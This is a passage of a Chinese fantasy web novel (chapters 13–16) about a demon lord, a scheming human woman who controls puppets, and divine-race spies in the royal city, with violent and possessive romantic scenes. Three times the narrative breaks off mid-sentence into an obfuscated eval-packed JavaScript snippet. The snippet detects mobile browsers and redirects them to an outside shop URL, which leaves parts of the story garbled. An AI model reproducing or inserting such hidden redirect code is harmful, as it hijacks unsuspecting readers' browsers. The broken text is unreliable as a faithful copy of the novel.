万俟逐鹿啧了一声,“不是这个,是更久远以前的事,我成为魔尊之前与你们守旧派甚至没有一丝一毫的接触,为何要在我即位时偷袭我?” 理由希辰曾与曲云织说过,如今不过再重复一遍。 “你说本尊是鸿蒙至宝九幽水的傀儡?”万俟逐鹿不禁嗤笑出声。 希辰脸上没了表情,嗓音淡淡,“事实本就如此。” “况且。”他顿了顿,说出一条鲜有人知的情报,“九幽水拥有洗筋伐髓的功效,足以让魔族脱胎换骨。” “魔尊陛下真身不过一只魍魉,是如何凭一己之力登上高位?” 希辰说着,唇角扬起嘲弄的弧度,“就连你身边那个杂种魔族都拥有化形的能力,难道不是依靠九幽水才获得如今成就?” 曲云织的注意被这番话吸引,九幽水原来能改善资质,她也是第一次知道。 她望向魔尊,等待他的回应。 万俟逐鹿手上力道加重,直到见希辰眼中流露真切的痛苦,才缓缓松手。 比起希辰的质问,杂种二字令他觉得无比刺耳。 “可笑。”这是他给出的评价,“九幽水自我出生一直伴我到死去,这与你们口中与生俱来的天赋有何区别?本尊一路走来可从未借助外力。” 希辰还不至于被这番诡辩说服,无所谓地笑了笑。 万俟逐鹿见不得他从容,拖长尾音,愈加显得轻慢,“还是说你在嫉妒?” 希辰有些茫然,不明白他说这话的原因,他有什么可嫉妒的? 万俟逐鹿娓娓道来,三言两语戳中希辰心中最刻骨的伤疤,“你根骨被毁,此生止步于洞天境,而九幽水掌握在本尊手中,不如像你口中的杂种魔族一样,向本尊摇一摇尾巴,吐一吐舌头。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251977|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“本尊说不定能施舍给你恢复资质的机会。” “!”希辰显而易见被激怒,呼吸急促,胸膛一阵起伏,垂在膝上的手紧攥到发白。 可他终是忍下了,没有发作。 万俟逐鹿没等来他的反扑,深深看他一眼,拽着那头长发往后一扯,与希辰拉开了距离,像是与他说话都觉索然无味,只吐出简单的两个字。 “蠢货。” “还说本尊是九幽水的傀儡,真正的傀儡是谁还不清楚吗?” 希辰面色压抑到极点,漠然道:“魔尊陛下是什么意思?” 万俟逐鹿:“本尊就问你,这双早该瞎了的眼睛为何还能再次施展神通?” 不等希辰回答,他自己先说了,“是用了神族秘术,对吧?” 希辰静默了片刻,终是点头。 又与神族扯上关系了? 曲云织愈发觉得自己这趟来得值。 只听万俟逐鹿说:“你以为为何本应束之高阁的神族秘术被你轻而易举地得到,又为何九幽水能够洗筋伐髓只有你们守旧派才知道?” “为何本尊当年报偷袭之仇,还特意留下了几条漏网之鱼?” “为何刚稳住魔尊的地位,就急着对妖族开战?” 希辰沉默不语,魔尊即位后做的第一件大事,除了颁布禁令就是向妖族宣战,此战过后魔族直到现在,都强行占据了妖族圣地鬼哭崖。 所以是为了什么? 理由他好像隐隐明白了,但又不甘心承认。 万俟逐鹿可不会顾及他无聊的自尊心,“众所周知,神族居于云上天,不可擅自下界,妖族就是他们在俗世的耳目与爪牙。” “而你自诩高傲,竟连手底下的魔里混入神族奸细都不知情,无知无觉被他们挑唆,沦为对付本尊的傀儡。” 希辰面色一白。 他素来清高、傲慢,对自己永远深信不疑。 就连被魔尊多次羞辱,也要维持基本的得宜与体面。 他以为自己才是那个“众人皆醉我独醒”的存在,看穿所谓气运之子的骗局,高高在上俯视着魔尊。 可事实却是,他才是那个醉了酒的跳梁小丑! 以往那些装模作样的骄矜,现在看来不过是无知的沾沾自喜。 他究竟在不知情的时候露出了多少丑态? 希辰抿着唇角,眉头皱得死紧,俊秀的五官像是蒙了层阴翳,长发被粗暴地扯得凌乱,如同洁净无暇的新雪被狠狠碾上几个带泥的脚印,诠释了何为灰头土脸。 他感到前所未有的屈辱与狼狈。 别过头,唯独不想在魔尊面前被看了笑话。 万俟逐鹿强硬地掰过他的下巴,挑了挑眉,“不就是在本尊面前出了这么一次丑,至于吗?” 希辰紧咬牙关,不愿泄露只字片语。 他原以为自己刺杀魔尊失败,难逃一死,也做好了从容赴死的准备。 可当真相赤裸裸被魔尊摆在他面前,临到头得知自己才是那个任人摆弄的傀儡。 他忽然有些不甘心了。 这难道就是魔尊的打算,让他维持不了淡然的面目,满怀怨愤地死去? 万俟逐鹿笑了一声。 他松开希辰,行走时衣摆猎猎扬起,屈膝踩着台阶,以一个略显放肆的姿态端居主座。 如同一个发号施令的君主,他说道:“本尊给你一次机会,清理守旧派势力,揪出那些可恨的神族奸细。” “一雪真正的前耻,如何?” 希辰愣住,反复确认了许久他刚才没听错。 他抬头,睁开那双奇特的眼睛,深深注视着魔尊。 半晌,他重新低下头去,以示臣服之姿。 “谨遵钧令。” 14. 第 14 章 在含恨而死与苟且偷生之间,希辰选择了归顺魔尊。 寝宫内剑拔弩张的氛围散去,看起来又是一副其乐融融的景象。 万俟逐鹿:“所以宫花一落的解药呢?” 他真诚地询问面前的罪魁祸首。 希辰同样真诚地回答,“从一开始就没准备,因为我本来是奔着与您不死不休来的。” 万俟逐鹿:“……” 希辰柔声建议,“您可以向炎魔一族讨要,虽然不知道他们肯不肯给。” 万俟逐鹿:“……滚。” 希辰这时变得无比听话,乖乖朝着殿门外走去,离开前还多说了一句,“放心,至少在向神族报了受辱之仇前,我是不会让您死的。” 万俟逐鹿:“……” 一直到希辰的气息消失在自己感知范围外,他游刃有余的表情才敛去。 魔尊捂着胸口,闷咳一声,唇角溢出一丝猩红,失去血色的脸上仿佛皮开肉绽,攀上荆棘枯藤般的纹路。 始终维持强盛表象的魔气,也在此时兵荒马乱,于经脉和五脏六腑间没头苍蝇似的乱撞。 “你信他说的话吗?”曲云织就在一旁冷眼看着魔尊隐忍痛苦的神色,“下毒之人当真不提前准备解药?” 万俟逐鹿低声说:“不信。” 可他相信,但凡他在希辰面前流露一丝虚弱疲态,希辰就敢反咬他。 他手底下怎么尽是些糟心玩意儿? 包括就在他身侧的曲云织也是,一副看好戏的眼神,就不能过来好歹帮他顺顺背? 万俟逐鹿莫名委屈。 更让他委屈的是,曲云织说:“我以为凭你睚眦必报的性格,不会放任希辰活着离开。” 被神族谋划偷袭的事记了多久,直到现在还想着讨回来。 为此特意留下残余的白发,只为时刻警醒这份仇怨,不是睚眦必报是什么? 揪出神族奸细的人选有的是,希辰用起来最方便不假,但并非不可替代。 万俟逐鹿:他那明明只是为了找回场子,他很大度不记仇的! 先不说希辰逼宫袭杀自己的事没成,就是个败者,就说他营造的心魔幻境反而帮自己坚定了心志。 称他为功臣都不为过。 “就当我心情好。” 万俟逐鹿想了又想,还是觉得自己的委屈不能白受,他若无其事瞟了曲云织一眼,在她茫然的眼神中,一把将她拽入怀里。 下巴往她肩上一磕,舒舒坦坦,像抱着一只大型玩偶。 魔尊自言自语般说:“更重要的是,与守旧派避免冲突达成和解,保存王城的有剩力量,能够最大程度应对激进派。” 距离毒性攻入灵台还有不到半月,他需要在此之前取得生长于魔域边境的解药。 * 浮玉正在逃亡。 他知道自己所行之事可能败露了。 作为一个投效神族的魔,他奉命在希辰大人身边潜伏,平日里给出三两句谏言,加深守旧派与魔尊之间的隔阂。 他也明白自己做得不对,好端端干嘛要效忠那群高高在上的神族? 可是他没办法。 因为守旧派所谓的主张,从头到尾就是神族放出来的话。 整个守旧派从根子里,就是神族安插在魔族根深蒂固的楔子。 自他怀抱希望地加入守旧派,又被同为神族奸细的前辈告知这一真相。 他除了同流合污,还能做什么? 良禽择木而栖,魔族靠不住,他转投神族又怎么了? 因此,当希辰大人被魔尊一语点醒,开始清理他们这些奸细时。 他首先感到的不是害怕与心虚,而是愤怒。 浮玉躲在王城的街角,小心翼翼等待搜查的卫兵路过。 直到那四面八方的脚步声靠近又走远,他才松开裹在身上的破布,像一只阴沟老鼠,胆战心惊踩在阳光之下。 他必须逃出王城,甚至于远遁魔域之外。 逃往段干大人的领地?不,他只是脾性火爆,但大是大非拎得清,绝不会收留他们这群背主的丧家之犬。 躲到妖族,借他们之口向神族寻求帮助? 可神族无法下界,那就是一群被囚禁在云上天的废物! 连日以来的疲于奔命,已经让浮玉的心智濒临崩溃,他只能不停咒骂让他沦落此种境地的元凶,用以维持基本的清醒。 咒骂魔尊,当年乖乖去死不就好了,为何偏偏活了下来还要报复他们? 不是已经狠狠打了妖族的脸,将他们的圣地都夺了去,为什么揪着神族不放? 咒骂希辰,这也是一个废物,当年再天之骄子又如何,还不是被他们耍得团团转? 给他机会都杀不死魔尊,反而根骨还被废了,简直活该! 凭什么还有脸一副受害者的模样找他们麻烦! 咒骂神族,咒骂妖族,所有能被他想到的对象都歇斯底里诅咒了一遍。 偏偏忘了咒骂他自己。 浮玉扔下了这块裹身的破布,放在以往他连看一眼都嫌邋遢,可他如今只能依靠这种肮脏的环境藏身。 他嗅到了自己身上传来的恶臭,被脏污与烂泥沾染的,来不及清理的气味。 浮玉实在气不过,愤愤踹了那块破布一脚,然后险些被绊倒。 他都不知道自己为什么要同一块破布置气,眼下都顾不得换一个藏身之所,只恨不能将那块破布撕碎扯烂。 就在他发疯似的撕扯碎布片的间隙,忽而听到了自身后传来的脚步声。 哒、哒、哒。 很轻,并不急促,却宛如阴魂不散的丧钟。 浮玉霎时间浑身血液都冷了,僵硬在原地,蓦地开始细细密密地颤抖。 追兵不是都走了吗?为何还会出现? 不对,脚步声只有一个,可能是个路人,也可能是个落单的卫兵。 那就杀了他,然后赶紧逃! 浮玉猝然转身,视线尚未捕捉到来人的身影,就恶狠狠扑了上去。 他眼中猩红一片,满脑子只剩下走投无路被逼出的杀意,化成魔族本相,指甲尖利,獠牙粗长,浑身逐渐覆上毛发,俨然一只粗蛮的野兽。 即将一口咬断来人的脖颈前,他的下巴被卡住。 浮玉拼尽全力地挣扎,他本就因逃亡受了伤,没时间补充体力,方才的爆发已经是最后的力气,只能无助又绝望地挥舞着软绵绵的手臂,渴盼自己的指甲还能对来人造成一星半点的伤害。 他口齿无法闭合,涎水滑落嘴角,喉咙里溢出近似于哽咽的呜呜声,猩红的眼早已盈满恐惧的泪水。 却忽然,他听到来人含着叹息的嗓音。 “真是可怜,这些日子受苦了吧?” 来人松开卡住他下巴的手,转而来到他头顶,在他紧闭双眼以为自己就要命丧当场时,轻轻拍了拍他的头。 “已经没关系了,跟我来,我带你走。” 浮玉愣住,直到好半晌,他睁开一双迷蒙泪眼。 视野被水雾模糊,他看不清来人的面容,但那一定是一张宛若天神的脸。 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“你什么时候与段干鸿谈好了?”等只剩下她与魔尊二人,曲云织开口问道。 万俟逐鹿回答,“就在希辰归顺后不就,即便段干鸿与边境魔族汇合,也无法同时应对我与守旧派。” 他这才有和谈的底气。 “条件是什么?”曲云织抱臂,敏锐指出最有可能的结果,“难不成是把我交出去?” 当初正是她暗中作为,成了魔尊与激进派决裂的导火索。 万俟逐鹿往椅背上一仰,“我怎会舍得把你交出去?” 曲云织好似信了这话,主动上前,替他理了理鬓发,指尖触到一缕金链,撞出银铃般的脆声。 “真是可怜。” 万俟逐鹿缓缓地冒出一个“?” “不是说你,而是那群神族奸细。”曲云织语调仿若叹息,“宛如缩在地洞里的兔子,还不知道七日之内就该被烟熏火燎地处决。” 她再一次说:“真是可怜。” 万俟逐鹿歪了下脑袋。 奇怪,她是这么同情心泛滥的性格吗? * 七日后是最好的时机。 届时魔尊将会外出与段干鸿和谈,王城守备空虚,她足以将神族奸细送出城外。 曲云织倒不是多么想帮这群神族奸细,她只是需要得到他们脑子里关于神族的情报。 神族居于云上天,不得下界。 而她长远的目标里,就有一项是得到神族的鸿蒙至宝。 到时候她需要冒险与这□□细见一面,在他们识海里种下自己的印记。 上次动用傀儡术,曲云织顺藤摸瓜揪出了激进派其中一个据点,借此让激进派与魔尊离了心。 她本该暴露自己拥有某种获得魔宫外情报的手段,好在她及时选择断尾求生,放弃几个傀儡,让魔尊误以为她是凭借几条线索推理出据点存在的。 但这一次送神族奸细出城,傀儡术只怕瞒不住。 无妨,只要傀儡们出了王城,她依旧能远程操控。 若是能顺带破坏魔尊此次与激进派的和谈,那就更好了。 曲云织在脑海里拟定着计划。 出神间,她听到身后传来一道嗓音,生疏而冷淡,属于魔尊指派给她的暗卫。 “你最好不要轻举妄动。” 15. 第 15 章 曲云织曾为了不过多动用傀儡暴露行迹,指派暗卫做一些不便之事。 再加上暗卫听从魔尊命令,全天候以保护为名的监视。 自己图谋不轨之心被看出来不奇怪。 怪就怪在暗卫偏在这时点出来。 曲云织缓缓转身,室内昏黄烛火摇曳,映在她眼底有几分闪烁,还将她拉长的影子衬得莫名诡谲。 步谨言毫无所觉,他拉了拉面罩,将脸遮得更严实,垂下眼帘总不敢直视曲云织的面容。 “王城卫兵正竭力搜捕神族奸细,魔尊选在此时出城和谈,明显是陷阱。” 曲云织盯了暗卫片刻,倏地展颜一笑,“多谢提醒,我自会小心。” 她怎会不知这是魔尊布下的陷阱,只是如同被围困王城的神族奸细一样,摆在面前的只有唯一的机会,错过了,就再逃不出去。 饵食实在太诱人,她只能上钩。 步谨言看出她笑容之下的一意孤行,轻声说:“那就利用我。” 曲云织眼睫如蜻蜓点水般一眨,神色流露明显的困惑。 “我很好用不是吗?”步谨言说这话是语气没有多大起伏,温驯得不可思议。 他来到曲云织面前,单膝跪地,墨染般的长发乖顺垂在脸颊边,全无半点棱角,像是谁都能将他揉圆搓扁。 “王城的布防我比你更了解,更别说你还有修为不足这一致命弱点,无论你想在魔尊出城当天做什么,我都是一个很好的利用对象。” 曲云织定定看着他,伸手,指尖拨开一缕鬓发,轻轻挑开他面罩上的锁扣。 叮。 金属锁扣弹开,面罩滑落在地,那张常年不见光的俊秀面容在烛火下一览无余。 步谨言似有些不习惯,生涩地抿了抿唇。 曲云织的目光如有实质,仔仔细细端详他面上每一丝细微的神色波动。 她信任自己的傀儡,因为他们的识海被自己掌控。 她同样信任那些受她挑唆的人,因为她自信于她的操心能力。 但她不信任面前这个暗卫。 她此前之所以用他,只因为她身边无人可用。 也从未将他摆在谋篇布局最关键的位置。 同样的,暗卫在面对她时,宛如一只紧闭的蚌壳,一块冷硬而沉默的顽石,撬不动丝毫。 她从未知晓暗卫心中真实所想。 沉默持续了很久,久到步谨言眨眼,眼眶酸涩难忍,视野中只看得见明灭不定的烛火,与曲云织映在烛光下晦涩的容颜。 “我还是不明白,你甘冒风险助我至此的理由。”曲云织开口了,语调柔柔像一声无可奈何的叹息。 步谨言忽而弯了弯唇,这还是曲云织第一次见到他的笑容,很浅,浅到几乎辨不出来。 “理由很简单。”他知道自己毫无缘由的谦卑与一厢情愿的付出惹人怀疑,但那又如何,“你是一个人族,深陷虎狼环伺的魔域,这里处处是觊觎你血肉的魔族。” “我不帮你,还有谁能?” 曲云织一顿,先是蹙眉,“你有个人魔混血的弟弟,是因为他对我爱屋及乌吗?” 人魔混血在魔域的生存境遇,可不比她好上多少。 步谨言未置可否。 曲云织问出了一个曾困扰她的问题,“为何不带着你那个弟弟生活在魔域边境,反而深入遍地大魔的王城。” 以暗卫的本事,在边境护住他弟弟不难,到了王城却处处受限。 “哪怕藏身人族都比现在要好吧?” 步谨言不明白她怎么会对自己私事感兴趣,愣了下才逐条反驳,“人魔混血不被任何一个种族接纳,而边境魔族神智低微,控制不了食欲,我没法时时刻刻护着他。” “反倒是王城有魔尊禁令,明面上会收敛些。” 曲云织恍然,注视着暗卫那张寡言而恭顺的脸,她不紧不慢地在心底说了声—— 骗子。 简直通篇胡扯! 要真如他所说,面面俱到保护着人魔混血的弟弟,暗卫压根不可能有闲心对她伸出援手。 顶多在无关紧要的地方帮衬一把,而绝非把自己也给搭上。 她有把握作死但不被魔尊处决,暗卫可没有。 暗卫一死,谁来守着他弟弟不被虎视眈眈的魔族吃掉? 他根本没有说的那么在乎他那个弟弟! 一切只是托辞。 曲云织想明白了,她和人魔混血的弟弟一样,都只是恰好能满足暗卫的某种心理需求。 他并非想要真心帮助自己,而是通过帮助自己这一行为,能够获得满足。 她与弟弟其实都不重要,他们只是一种渠道和媒介,他们怎么样暗卫并不关心,甚至于那个可怜的人魔混血就是暗卫故意带进王城,沦落举世皆敌的境地。 暗卫可用不可信。 曲云织再一次坚定了自己的想法。 但明白了暗卫的症结所在,她用起人来安心许多,知道他在乎什么,才能以此为饵将其驱动。 曲云织招了招手,附在暗卫耳边,“那就麻烦你了,在魔尊出城之日,引起骚乱让王城布防出现突破口。” * 七日后。 碧空澄澈如洗,青天白日却有流星划过。 细看才知,那是一座华美庄严的车驾,白玉为饰,镶金错银,兼有四头似龙似狮的灵兽在前开路。 曲云织难得起了个大早,挑开窗帘,目送这辆魔尊乘坐的车驾离开王城才作罢。 她继续回去休息,养精蓄锐。 一直耐心等到了入夜。 魔尊说给希辰七日时间,将藏身王城的神族奸细抓捕,实则摆明了只有第七日才是最佳时机。 这天王城守卫薄弱,是神族奸细脱笼蜂拥而出的唯一机会。 同样,也临近魔尊与激进派和谈,取得宫花一落解药的最后时限。 曲云织很想同时搅黄这两件事。 但后者的实施难度较大,她只能遗憾地将心力投注在前者上。 夜深了,如钩银月在云层后时隐时现。 王城内千家万户亮起灯火,街市上繁华依旧,却在疏落冷清的小巷里,黑暗悄无声息盘踞,像是随时要冲出来。 忽然,王城侧门方向传来一声巨响。 轰隆! 整座城池的地面都在些微震动,大火就这样烧了起来,红光映亮半边天空。 “发生了什么?” “不知道,要不去看看?” 士兵们闻声而动,整装列队,朝着骚乱的源头迅速进发。 民众不明所以的起哄喧闹、维持秩序的呵斥呼骂、甚至于刀兵交击之声,所有嘈杂一同交叠,依稀传入曲云织所在的冷清宫殿。 她知道,时辰到了。 曲云织推开了门,向着魔宫外走去。 期间遇到的侍从如同瞧不见她这个大活人,自顾自忙着事情将她忽略过去。 因为这些人都已沦落成她的傀儡。 今夜送走了那些神族奸细,她没必要也遮掩不了自己的傀儡术,索性肆无忌惮用上这么一次,将整座魔宫化作自己精心织网的巢穴。 曲云织穿过了喧嚣,旁若无人登上最高的那一座城楼。 她远眺王城侧门的方向。 暗卫正依照约定引起骚乱,将士兵吸引过去,创造神族奸细逃跑的时机。 而她接下来要做的就是引导那□□细,顺利将他们送出王城。 可其实,她骗了他。 曲云织从一开始就将暗卫当做一枚弃子,她不会配合暗卫的任何行动。 她要眼睁睁看着暗卫迟迟等不来援助,就这样落入希辰之手,拖住王城守卫的主力,为她接下来的行动大开方便之门。 火光渐渐暗淡了,似乎是骚乱被镇压。 期间也有几个神族奸细想趁乱逃跑,被卫兵们逮住。 “今夜的动乱应该过去了吧?” 不止一个士兵这么想,他们熬了一整个昼夜,终于可以放松了。 城楼之上,曲云织扶着石墙,垂眸看着夜间灯火通明的王城,这里视野俱佳,能将一切骚乱尽收眼底。 在制定今夜的计划之前,有一处关窍她困扰了许久。 那就是在帮助神族奸细脱离王城之前,她需要见上他们一面,在他们识海中种下自己的印记。 做这件事的前提,是他们心中有足够的,因自己而起的剧烈心绪动荡,也就是心神破绽。 曲云织已经借傀儡之手,救那些神族奸细于水火,感激之情多的是,但随着这些日子消磨了不少,再加上她是个在魔族里风评不佳的人族。 万一见到她,神族奸细们率先感到的是轻忽又该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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血液源源不断流失体外本该让她肤色惨白,她的脸颊却攀上病态的红晕,眼眸微垂,竟显出一种慈悲。 仿佛以自己的血肉哺育信徒的神佛。 “吃吧。” 曲云织伏在城楼的围墙上,手腕无力垂着,任由淅淅沥沥的血液滴落。 她看到已有离得近的魔族爬上城墙,用力蹬踹下方的竞争对手,抽空贪婪舔舐着飞溅石缝的血迹,又因为分神被其他人拉了下去。 人潮密密麻麻,层层叠叠垒上这座孤塔。 眼前场景实在荒谬,她错觉自己好像在地狱里悬了一根蛛丝。 王城沦为一座被食欲充斥的摇篮,而这其中最鲜明的几道欲望,大抵来自神族奸细。 他们连日逃亡,忍饥挨饿,比衣食无忧王城居民饥渴数倍。 曲云织能够轻而易举地找到他们。 她有条不紊地将自己的血液往外一甩,逗狗似的,让那些包围自己的魔族冲出去飞扑,咬住半空的血珠然后悲惨地摔落,紧接着又被其他按耐不住的魔族争先恐后地抢夺。 她的神识第一次肆无忌惮地铺张,压抑了太久,一经释放便张牙舞爪笼罩了整座魔族王城,无形的波动像是海潮,伴着无边夜色一同微漾。 她顺着感知中几道强烈食欲的来源,寻到神族奸细们的识海,耐心而细致地盖下属于自己的戳。 就快了。 少数能克制她血液引诱的魔族,正焦头烂额忙着镇压此次暴动,还要分出心神捏着鼻子护她安危,谁叫她依然是独属于魔尊,不容被他人染指的猎物? 曲云织有足够的时间,将神族奸细转移出城外。 失血带来的晕眩使她有些站不稳,体温不断流失,被夜风一吹,只觉得更冷了。 曲云织拢了拢衣襟,微张开唇呵出一口气,遇寒流化作白雾,些许迷蒙了她的视野。 她听到一声很轻的叹息自风中传来。 “我说过要更加爱惜自己一点,怎么就是不肯听劝呢?” 曲云织霎时如坠冰窟。 心脏紧缩,浑身僵冷,方才那点微不足道的温暖散了个干净。 她听出来这道声音的主人是谁,缓缓地,死死地回过头,目视着来人。 万俟逐鹿皱着眉,脱了身上外氅往她肩头一披,牵起她仍血流不断的手腕。 动作温柔,替她止了血。 16. 第 16 章 魔尊不应该出现在此处。 今日是宫花一落毒发的最后时限,待到天一亮,就该三花聚顶,悬而将落,就此形神俱灭。 他本应与段干鸿唇枪舌剑,争取天亮前取得解药。 这些天曲云织一直伴他身侧,自然清楚他没有任何除此之外的渠道。 所以,魔尊本不应当在这个时间出现在曲云织面前,除非他迫不及待等着毒发身亡。 曲云织冷冷看着万俟逐鹿。 他没有看她,而是翻来覆去检查她的手,确保没有遗漏的伤口,也不放下,而是顺势包裹在自己掌心,用体温捂热她冰凉的肌肤。 “原来这就是你的底牌。”万俟逐鹿漫不经心地评价道,“傀儡术,再佐以你那身惹人发疯的血肉,在魔域确实如鱼得水。” 血被止住,唯有魔族才能嗅到的香甜气息在风中失散,王城居民神智渐渐清醒,包围这座城楼的人潮逐渐退却。 由她引起的暴乱正被平息。 曲云织心知肚明她的计划成不了,想不到该如何垂死挣扎,但又不愿太顺着魔尊。 试着抽出自己的手,没抽动,反倒被握得更紧了些。 “神识修炼得不错。” 万俟逐鹿没有登上白日的车驾,而是一直藏身于王城,自然察觉到曲云织肆虐的神识。 他嘴上说着褒奖的话,行动却像将这番称赞转手踩进泥里。 夜晚是影魔的天下。 曲云织笼罩王城上空如海潮般的神识,在铺天夜色下不值一提,夜幕逐浪,将那些微不足道的抵抗尽数压制。 万俟逐鹿终于肯松开被他捂热的手,转而重新追逐上去,耐心地分开曲云织的五指,与她十指交叠。 做这些时,他脸上是一派毫无阴霾的爽朗笑容,兴味盎然,就像在玩着不知名的游戏。 “你到底想做什么?” 曲云织实在忍受不了,他的举动在她眼中看来,简直是用餐前的繁琐礼仪,没什么大用还尽会折磨人。 他正是在以这种慢条斯理,一步步击溃她。 万俟逐鹿仍维持与她十指交握的姿势,两指轻巧抽离,如攀岩的蛇一路滑到曲云织的左手食指,力道不轻不重,恰好一前一后钳制她指尖无法动弹。 他垂眸凝视曲云织被他掰开的指节,白皙纤细,修长如削葱,指甲偏长,但整齐圆润,尖端还渲染一点粉。 方才她就是这般,用纤弱无害的手指划破了自己的腕。 “再伤着自己可不好。”万俟逐鹿回答了曲云织先前的问题,“本尊替你修剪下指甲。” 他说着,空出来的右手以魔气化刃,剪去了曲云织偏长的那一段指甲。 咔嚓。 是什么东西崩断的声音。 曲云织猝然睁大了眼,在她的感知中,有一具藏得很好的傀儡与她断了联系。 咔嚓。 第二具、第三具…… 遍布王城的傀儡是她第二双眼睛,足以观察每一丝细微动向,亦是她精心设下的网,网罗她觊觎已久的猎物。 而眼下,她赖以生存之物正被魔尊一点点消解。 这哪是替她修剪指甲? 分明是在拔除猛兽的利爪与獠牙! 傀儡被发现她早有预料,可真正令曲云织感到震怒的,是魔尊这一行为之□□现的决心—— 他为她设了一个陷阱,将她关于笼中,除了她的爪牙,折断她的傲骨,让她失去猎食的能力,终日只能向他乞食。 他要将她打碎,自此驯服。 左手的指甲被修剪得很干净,该轮到右手了。 曲云织徒劳攥紧五指,力道用得很大,仿佛感觉不到疼痛。 仍是拗不过魔尊,被他强硬地分开。 曲云织不知道自己脸上是何种神色,她只是沉默地佝偻腰身,像在极力忍耐着某种冲动,埋首于魔尊的肩颈。 吐出的字句有些颤抖,伴随细弱的呼吸打在万俟逐鹿耳畔。 “你今日剪了又如何,往后指甲还是会再长的。” 她只能以这番无力又可笑的言论,宣告自己并未恐惧,并未被驯服。 “那就继续剪,往后的日子还有很长,我不介意与你耗下去。” 万俟逐鹿的语调含着近似于宠溺纵容的笑,无论今后曲云织怎样反抗,他都会将其镇压。 咔嚓。 伴随最后一声清响,曲云织已再无利爪。 万俟逐鹿心满意足打量自己的成果,忽而察觉一只手沿着衣料滑落,抵在了自己胸膛。 曲云织偏了偏头,从她的角度,能清晰看到魔尊的侧颜,象征宫花一落毒素的漆黑纹路,正如繁茂的荆棘般自衣领下斜穿脖颈,蔓延至他的脸颊。 宛如将他整个人刺穿。 放弃取得解药的机会,留在王城对她围追堵截,魔尊也正强忍痛苦,比她的情况好不到哪里去! 曲云织蓦地感到了一种刻骨的恨意。 魔尊虚弱至此的机会,她偏偏只能如指缝间的细沙,眼睁睁看着流失。 她分明可以抓住的,可她不能。 魔尊对她的情感还不够深厚,还不是她杀了他的时机。 她真的好恨! 恨他为什么不能再爱她一点? 曲云织的眼中泛滥出某种尖锐神色,她的手将魔尊心口处的衣料攥出深刻褶皱。 恨意驱使了她,让她满心满眼只看得到近在咫尺的脆弱脖颈。 曲云织一口咬住了魔尊的喉咙。 牙齿深深嵌入皮肉,血液几乎是立刻奔涌而出。 她没有放过逃逸的鲜血,而是报复性地大口大口吞了下去。 万俟逐鹿愣住了。 城楼上很安静,仅剩下穿梭的风声,他于是能清楚地听到细微吞咽的动静。 咽喉上的剧痛简直可以忽略不计,他心底唯独冒出一个强烈的认知—— 曲云织正在恨饮他的血。 他们好似骨血相融。 宫花一落的毒素顺着血液流入曲云织的身体,她苍白的肌肤上也绽开了黑色裂纹。 这让他们看起来就像两株连理共枝的病树。 万俟逐鹿胸膛震动,隐秘而畅快的欲念四处横冲直撞,终于,他放声大笑。 “哈哈哈,好,好啊!” “魔族食人,而身为食物的你却在吞吃我的血肉,不觉得有意思极了吗?” 他轻柔地揽住了曲云织,让二人之间再无空隙,紧密相贴,笑意盛放在眼角眉梢,沉淀入那双深夜般的眸中,随时间发酵成一种不为人知、谁都未曾察觉的纯粹爱恋。 只有在这种荒诞的场合,他才敢冒出荒诞的念头。 万俟逐鹿从见到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251980|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲云织的第一眼起,就隐约烙印下一个模糊的想法。 这是一个带来灾祸的女人。 往后的相处更是印证了这一点,她三言两语的挑拨,使本就不稳的魔族局势愈发割裂,而本该果断处决她的自己,也迟迟做不下决断。 心魔不曾点醒他,只叫他尽快杀了这个即将成为他劫难的女人。 可他无数次辗转纠结,终究是舍不得。 那就一同坠落吧。 万俟逐鹿拥住了曲云织,踩在城楼边沿,顺着猛然汹涌的风倒了下去。 曲云织没有抗拒。 二人一同倒向了无边夜幕与万家灯火。 风声在耳旁呼啸刮过,千家万户亮起的灯似被风吹得很远,浸入夜色,摇曳出迷离暧昧的光景。 许是是失重感作祟,还是什么其他原因。 曲云织骤然失了力气,不再狠狠咬住魔尊的脖颈,与他分开些距离,四目相对。 她的轮廓边缘被灯火渲染上薄薄的金红色,唇角沾着一丝未干的血,眼神平静而幽冷,寥落却疲惫,就像什么也无法映入那双疏离的眼。 万俟逐鹿低头看着她。 二人的发丝被风扬起,交织在一处,分明离得这么近,可怀中人的思绪却似乎变得很遥远。 他说不清是什么缘由,突然很想吻她。 并非不及细想的冲动而为,而是发乎于情的渴望。 他敛下眸光,舔去曲云织唇边的血迹,顺势撬开她的齿关,勾住那一截湿软的舌,与她交换一个充满血腥味的吻。 这只不过是伴随着此次坠落,一次短暂的意乱情迷。 他们落在了地面,结束了这个吻。 万俟逐鹿依旧安静地拥着曲云织,小臂圈着她的腰肢,倔强地不肯放开。 他做出了自己的选择,既不愿将人杀了断情绝爱,也不愿放弃魔尊之位为爱私奔,而是将人强行圈禁在身边,压下她的所有反抗。 他清楚意识到这样做的后果,他再难得到她的心。 怀中人的体温再不会被他捂热。 